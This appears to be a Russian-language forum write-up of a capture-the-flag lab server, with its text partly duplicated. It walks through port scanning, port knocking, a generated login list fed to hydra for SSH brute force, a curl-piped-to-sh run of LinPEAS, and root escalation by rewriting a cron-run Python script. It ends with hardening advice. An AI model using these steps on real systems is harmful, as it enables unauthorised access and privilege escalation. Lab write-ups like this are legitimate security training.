r0dd9
Green Team
- 14.08.2019
- 19
- 11
- Специализация
- Пентест
Прямая ссылка на задание
Сервер 192.168.2.204:
Разведка цели
nmap
SYN-сканирование (полуоткрытое) По умолчанию. Быстро, тихо, не логируется на многих системах.
TCP SYN scan находит 22 порт и 80 порт
→ SSH не открыт напрямую, но помечен как filtered. - запомним.
- Прверим robots.txt
- Просканируем так-же директории сайта dirsearch на наличие открытого контента.
CGI-скрипты открыты и исполняются
Что такое cgi-bin?
Каталог, где размещаются CGI-скрипты (обычно на Perl, Python, Shell).
Если они доступны извне — могут позволить выполнение команд на сервере.
Особенно опасны, если скрипты обрабатывают входные данные без фильтрации → RCE (Remote Code Execution).
- Изучив HTML главной страницы находим подсказку
Это прямая отсылка к технике "Port Knocking" («стук в порты»).
Что такое Port Knocking?
Port Knocking — это скрытый механизм аутентификации:
Этап 1: Port Knocking
Что делать дальше?
Где может быть указана последовательность?
Изучим сайт.
Возможно, последовательность портов — это:
или
Используем nmap. Цель — просто «стукнуть» в порт, и добавим задержку между стуками sleep 1.
→ nmap открывает SSH на 22 порту.
Порт открылся но мы не знаем логина и пароля для входа по ssh.
Исходя из анализа сайта, предположим что логин это имя автора а пароль это год, составим словарь для брута ssh.
Из того что нам известно Nikita2002, Petya2003, Sergey2006 напишем скрипт для генерации возможных комбинаций пары логин пароль.
Дадим скрипту права на выполнение.
И запустим для генерации словаря.
Подкинем словарь в hydra через -C в 4 потока.
-C login_pass.txt Использует словарь в формате login
assword
ssh://192.168.2.204 Цель: SSH на указанном IP
-t 4 4 параллельных соединения (чтобы не перегрузить и не заблокироваться)
-f Остановиться после первого успеха (как только найдёт пароль)
-V Подробный вывод — показывает, какая пара проверяется
Брут не дал результата.
Попробуем пробрутить логины Nikita2002, Petya2003, Sergey2006 по стандартным словарям из SecList.
Брут дал результат.
Входим на сервер по shh
Осмотримся что тут есть.
На серве в учетке Сергея находим первую часть флага.
Мы внутри. Ищем вторую часть флага.
Скорее всего нужно искать в папке root.
Автоматизируем разведку внутри сервера с помошью LeanPeass.
LinPEAS — это скрипт, который ищет возможные пути повышения привилегий на хостах Linux/Unix*/MacOS.
LinPEAS находит и подсвечивает возможный вектор развития в скомпрометированной системе, это планировщик cron.
по матрицае MITRE ATT&CK это недостатки разрешений для файлов служб.
mitre.ptsecurity.com
Посмотрим все запущенные процессы в системе, и отфильтруем их по python и cron.
Найдено:
Изменим
Через 1–2 минуты:
CTF решен!
Port Knocking Неочевидный способ открытия SSH — защита "по знанию"
Writable cron-executed script Возможность модифицировать скрипт, запускаемый от root
Lack of input validation Скрипты выполняются без проверки целостности
1. Ограничить права на скрипты в cron — только для root.
2. Запретить запись в
3. Запретить выполнение, использовать
4. Настройте мониторинг изменений в файлах.
5. Отключить SUID для сторонних бинарников.
6. Настройте логирование. Вести логирование вывода cron-задач для отслеживания подозрительной активности.
---
Инструменты: nmap, ssh, cat, ps, cron, python, linpeas, dirsearch
- Port knocking: 2002 → 2003 → 2006 открыл SSH.
- Получил доступ к пользователю Sergey2006.
- Нашёл user.txt → начало флага.
- Увидел, что test.py и rev.py запускаются из cron от root.
- Модифицировал rev.py, чтобы он прочитал /root/root.txt.
- Получил вторую часть флага.
Цель
Сервер 192.168.2.204:
nmap
Bash:
nmap -sS 192.168.2.204
SYN-сканирование (полуоткрытое) По умолчанию. Быстро, тихо, не логируется на многих системах.
TCP SYN scan находит 22 порт и 80 порт
→ SSH не открыт напрямую, но помечен как filtered. - запомним.
- Прверим robots.txt
Bash:
curl http://192.168.2.204/robots.txt
CGI-скрипты открыты и исполняются
Что такое cgi-bin?
Каталог, где размещаются CGI-скрипты (обычно на Perl, Python, Shell).
Если они доступны извне — могут позволить выполнение команд на сервере.
Особенно опасны, если скрипты обрабатывают входные данные без фильтрации → RCE (Remote Code Execution).
- Изучив HTML главной страницы находим подсказку
Это прямая отсылка к технике "Port Knocking" («стук в порты»).
Что такое Port Knocking?
Port Knocking — это скрытый механизм аутентификации:
- Определённые порты изначально закрыты или фильтруются.
- Только после подключения к портам в определённой последовательности — например, 1000 → 2000 → 3000 — открывается нужный порт (например, SSH на 22).
- Если не знать последовательность — порт остаётся недоступным.
Это как «пароль из стуков»: тук-тук-тук — и дверь открывается.
Выбираем вектор атаки
Шаг 1: Найти последовательность «стуков»
Где может быть указана последовательность?
Изучим сайт.
- В именах авторов: Nikita2002, Petya2003, Sergey2006
- В годах: 2002, 2003, 2006
Bash:
2002 → 2003 → 2006
или
Bash:
2006 → 2003 → 2002
Шаг 2: Выполнить port knocking
Используем nmap. Цель — просто «стукнуть» в порт, и добавим задержку между стуками sleep 1.
Bash:
nmap -p 2002 192.168.2.204 && sleep 1 && nmap -p 2003 192.168.2.204 && sleep 1 && nmap -p 2006 192.168.2.204
→ nmap открывает SSH на 22 порту.
Этап 2: Вход по SSH
Порт открылся но мы не знаем логина и пароля для входа по ssh.
Исходя из анализа сайта, предположим что логин это имя автора а пароль это год, составим словарь для брута ssh.
Из того что нам известно Nikita2002, Petya2003, Sergey2006 напишем скрипт для генерации возможных комбинаций пары логин пароль.
Код:
gedit gen_dict.sh
Bash:
#!/bin/bash
items=(
"Nikita2002" "Petya2003" "Sergey2006"
"Nikita" "2002" "Petya" "2003" "Sergey" "2006"
"nikita2002" "Nikita_2002" "Nikita-2002" "2002Nikita"
"petya2003" "Petya_2003" "Petya-2003" "2003Petya"
"sergey2006" "Sergey_2006" "Sergey-2006" "2006Sergey"
)
> login_pass.txt
for u in "${items[@]}"; do
for p in "${items[@]}"; do
echo "$u:$p"
done
done
Дадим скрипту права на выполнение.
Bash:
chmod +x gen_dict.sh
И запустим для генерации словаря.
Bash:
./gen_dict.sh
Подкинем словарь в hydra через -C в 4 потока.
Bash:
hydra -C login_pass.txt ssh://192.168.2.204 -t 4 -f -V
-C login_pass.txt Использует словарь в формате login
ssh://192.168.2.204 Цель: SSH на указанном IP
-t 4 4 параллельных соединения (чтобы не перегрузить и не заблокироваться)
-f Остановиться после первого успеха (как только найдёт пароль)
-V Подробный вывод — показывает, какая пара проверяется
Входим на сервер по shh
Осмотримся что тут есть.
Этап 3: Первичная разведка сервера
Мы внутри. Ищем вторую часть флага.
Скорее всего нужно искать в папке root.
Автоматизируем разведку внутри сервера с помошью LeanPeass.
LinPEAS — это скрипт, который ищет возможные пути повышения привилегий на хостах Linux/Unix*/MacOS.
Bash:
whoisthere:~$ curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
LinPEAS находит и подсвечивает возможный вектор развития в скомпрометированной системе, это планировщик cron.
по матрицае MITRE ATT&CK это недостатки разрешений для файлов служб.
Матрица MITRE ATT&CK
Посмотрим все запущенные процессы в системе, и отфильтруем их по python и cron.
Bash:
ps aux | grep -i "python\|cron"
Найдено:
- /home/Sergey2006/user.txt → CODEBY{перваячастьфлага
- /bin/bbsuid — SUID-root бинарник (не удалось эксплуатировать)
- test.py, rev.py — Python-скрипты
- Cron запускает test.py и rev.py от root
Этап 4: Эскалация через cron
Изменим
rev.py:
Python:
import os os.system("cat /root/root.txt > /tmp/final_flag.txt 2>&1") os.system("chmod 666 /tmp/final_flag.txt")
Через 1–2 минуты:
Bash:
cat /tmp/final_flag.txt
Использованные уязвимости
Port Knocking Неочевидный способ открытия SSH — защита "по знанию"
Writable cron-executed script Возможность модифицировать скрипт, запускаемый от root
Lack of input validation Скрипты выполняются без проверки целостности
🛡 Рекомендации по защите
1. Ограничить права на скрипты в cron — только для root.
2. Запретить запись в
/home/*/ для критических скриптов.3. Запретить выполнение, использовать
noexec на /tmp.4. Настройте мониторинг изменений в файлах.
5. Отключить SUID для сторонних бинарников.
6. Настройте логирование. Вести логирование вывода cron-задач для отслеживания подозрительной активности.
---
Вложения
Последнее редактирование: